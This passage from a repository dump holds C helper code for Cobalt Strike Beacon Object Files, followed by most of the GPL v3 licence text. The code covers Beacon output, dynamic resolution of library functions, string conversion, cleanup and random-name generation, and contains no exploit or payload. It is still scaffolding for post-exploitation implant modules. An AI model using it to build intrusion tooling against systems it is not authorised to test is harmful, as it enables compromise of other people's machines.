BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary); 158 | return NULL; 159 | } 160 | loadedLibraries[loadedLibrariesCount].hMod = hMod; 161 | loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop 162 | loadedLibrariesCount++; 163 | } 164 | fp = GetProcAddress(hMod, szFunction); 165 | 166 | if (NULL == fp) 167 | { 168 | BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction); 169 | } 170 | return fp; 171 | } 172 | #endif 173 | 174 | 175 | char* Utf16ToUtf8(const wchar_t* input) 176 | { 177 | int ret = Kernel32$WideCharToMultiByte( 178 | CP_UTF8, 179 | 0, 180 | input, 181 | -1, 182 | NULL, 183 | 0, 184 | NULL, 185 | NULL 186 | ); 187 | 188 | char* newString = (char*)intAlloc(sizeof(char) * ret); 189 | 190 | ret = Kernel32$WideCharToMultiByte( 191 | CP_UTF8, 192 | 0, 193 | input, 194 | -1, 195 | newString, 196 | sizeof(char) * ret, 197 | NULL, 198 | NULL 199 | ); 200 | 201 | if (0 == ret) 202 | { 203 | goto fail; 204 | } 205 | 206 | retloc: 207 | return newString; 208 | /*location to free everything centrally*/ 209 | fail: 210 | if (newString){ 211 | intFree(newString); 212 | newString = NULL; 213 | }; 214 | goto retloc; 215 | } 216 | 217 | //release any global functions here 218 | void bofstop() 219 | { 220 | #ifdef DYNAMIC_LIB_COUNT 221 | DWORD i; 222 | for(i = 0; i < loadedLibrariesCount; i++) 223 | { 224 | FreeLibrary(loadedLibraries[i].hMod); 225 | } 226 | #endif 227 | return; 228 | } 229 | 230 | // #include "bofdefs.h" 231 | // #include "beacon.h" 232 | // #include "time.h" 233 | // #ifndef bufsize 234 | // #define bufsize 8192 235 | // #endif 236 | 237 | 238 | // char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly 239 | // WORD currentoutsize __attribute__((section (".data"))) = 0; 240 | // HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error 241 | 242 | // #ifdef BOF 243 | // int bofstart(); 244 | // void internal_printf(const char* format, ...); 245 | // void printoutput(BOOL done); 246 | // #endif 247 | // char * Utf16ToUtf8(const wchar_t* input); 248 | // #ifdef BOF 249 | // int bofstart() 250 | // { 251 | // output = (char*)MSVCRT$calloc(bufsize, 1); 252 | // currentoutsize = 0; 253 | // return 1; 254 | // } 255 | 256 | // void internal_printf(const char* format, ...){ 257 | // int buffersize = 0; 258 | // int transfersize = 0; 259 | // char * curloc = NULL; 260 | // char* intBuffer = NULL; 261 | // va_list args; 262 | // va_start(args, format); 263 | // buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null 264 | // va_end(args); 265 | 266 | // //MSVCRT$vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string) 267 | // if (buffersize == -1) 268 | // return; 269 | 270 | // char* transferBuffer = (char*)intAlloc(bufsize); 271 | // intBuffer = (char*)intAlloc(buffersize); 272 | // /*Print string to memory buffer*/ 273 | // va_start(args, format); 274 | // MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string 275 | // va_end(args); 276 | // if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end 277 | // { 278 | // //BeaconFormatPrintf(&output, intBuffer); 279 | // memcpy(output+currentoutsize, intBuffer, buffersize); 280 | // currentoutsize += buffersize; 281 | // } 282 | // else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print 283 | // { 284 | // curloc = intBuffer; 285 | // while(buffersize > 0) 286 | // { 287 | // transfersize = bufsize - currentoutsize; // what is the max we could transfer this request 288 | // if(buffersize < transfersize) //if I have less then that, lets just transfer what's left 289 | // { 290 | // transfersize = buffersize; 291 | // } 292 | // memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer 293 | // currentoutsize += transfersize; 294 | // //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer 295 | // if(currentoutsize == bufsize) 296 | // { 297 | // printoutput(FALSE); // sets currentoutsize to 0 and prints 298 | // } 299 | // MSVCRT$memset(transferBuffer, 0, transfersize); // reset our transfer buffer 300 | // curloc += transfersize; // increment by how much data we just wrote 301 | // buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall 302 | // } 303 | // } 304 | // intFree(intBuffer); 305 | // intFree(transferBuffer); 306 | // } 307 | 308 | // void printoutput(BOOL done) 309 | // { 310 | 311 | // char * msg = NULL; 312 | // BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize); 313 | // currentoutsize = 0; 314 | // MSVCRT$memset(output, 0, bufsize); 315 | // if(done) {MSVCRT$free(output); output=NULL;} 316 | // } 317 | // #else 318 | // #define internal_printf printf 319 | // #define printoutput 320 | // #define bofstart 321 | // #endif 322 | 323 | // // Changes to address issue #65. 324 | // // We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable. 325 | // // To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one 326 | // // Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer. 327 | // // Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself 328 | // // If you must then free it after bofstop is called 329 | // #ifdef DYNAMIC_LIB_COUNT 330 | 331 | 332 | // typedef struct loadedLibrary { 333 | // HMODULE hMod; // mod handle 334 | // const char * name; // name normalized to uppercase 335 | // }loadedLibrary, *ploadedLibrary; 336 | // loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0}; 337 | // DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0; 338 | 339 | // BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget) 340 | // { 341 | // BOOL bmatch = FALSE; 342 | // DWORD pos = 0; 343 | // while(szLibrary[pos] && sztarget[pos]) 344 | // { 345 | // if(szLibrary[pos] != sztarget[pos]) 346 | // { 347 | // goto end; 348 | // } 349 | // pos++; 350 | // } 351 | // if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match 352 | // {goto end;} 353 | // bmatch = TRUE; 354 | 355 | // end: 356 | // return bmatch; 357 | // } 358 | 359 | // //GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions 360 | // // 361 | // // DynamicLoad 362 | // // Retrieves a function pointer given the BOF library-function name 363 | // // szLibrary - The library containing the function you want to load 364 | // // szFunction - The Function that you want to load 365 | // // Returns a FARPROC function pointer if successful, or NULL if lookup fails 366 | // // 367 | // FARPROC DynamicLoad(const char * szLibrary, const char * szFunction) 368 | // { 369 | // FARPROC fp = NULL; 370 | // HMODULE hMod = NULL; 371 | // DWORD i = 0; 372 | // DWORD liblen = 0; 373 | // for(i = 0; i < loadedLibrariesCount; i++) 374 | // { 375 | // if(intstrcmp(szLibrary, loadedLibraries[i].name)) 376 | // { 377 | // hMod = loadedLibraries[i].hMod; 378 | // } 379 | // } 380 | // if(!hMod) 381 | // { 382 | // hMod = LoadLibraryA(szLibrary); 383 | // if(!hMod){ 384 | // BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary); 385 | // return NULL; 386 | // } 387 | // loadedLibraries[loadedLibrariesCount].hMod = hMod; 388 | // loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop 389 | // loadedLibrariesCount++; 390 | // } 391 | // fp = GetProcAddress(hMod, szFunction); 392 | 393 | // if (NULL == fp) 394 | // { 395 | // BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction); 396 | // } 397 | // return fp; 398 | // } 399 | // #endif 400 | 401 | 402 | // char* Utf16ToUtf8(const wchar_t* input) 403 | // { 404 | // int ret = Kernel32$KERNEL32$WideCharToMultiByte( 405 | // CP_UTF8, 406 | // 0, 407 | // input, 408 | // -1, 409 | // NULL, 410 | // 0, 411 | // NULL, 412 | // NULL 413 | // ); 414 | 415 | // char* newString = (char*)intAlloc(sizeof(char) * ret); 416 | 417 | // ret = Kernel32$KERNEL32$WideCharToMultiByte( 418 | // CP_UTF8, 419 | // 0, 420 | // input, 421 | // -1, 422 | // newString, 423 | // sizeof(char) * ret, 424 | // NULL, 425 | // NULL 426 | // ); 427 | 428 | // if (0 == ret) 429 | // { 430 | // goto fail; 431 | // } 432 | 433 | // retloc: 434 | // return newString; 435 | // /*location to free everything centrally*/ 436 | // fail: 437 | // if (newString){ 438 | // intFree(newString); 439 | // newString = NULL; 440 | // }; 441 | // goto retloc; 442 | // } 443 | 444 | // //release any global functions here 445 | // void bofstop() 446 | // { 447 | // #ifdef DYNAMIC_LIB_COUNT 448 | // DWORD i; 449 | // for(i = 0; i < loadedLibrariesCount; i++) 450 | // { 451 | // FreeLibrary(loadedLibraries[i].hMod); 452 | // } 453 | // #endif 454 | // return; 455 | // } 456 | 457 | // void InitRandomSeed() 458 | // { 459 | // MSVCRT$srand((unsigned int)MSVCRT$time(NULL)); 460 | // } 461 | 462 | // // 463 | // // Helper func to generate random strings for prodecure names, etc 464 | // // 465 | // char* GenerateRandomString(int length) 466 | // { 467 | // char* result = (char*)intAlloc(length + 1); 468 | // for (int i = 0; i < length; i++) 469 | // { 470 | // result[i] = (char)(MSVCRT$rand() % 26 + 97); 471 | // } 472 | // result[length] = '\0'; 473 | // return result; 474 | // } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into 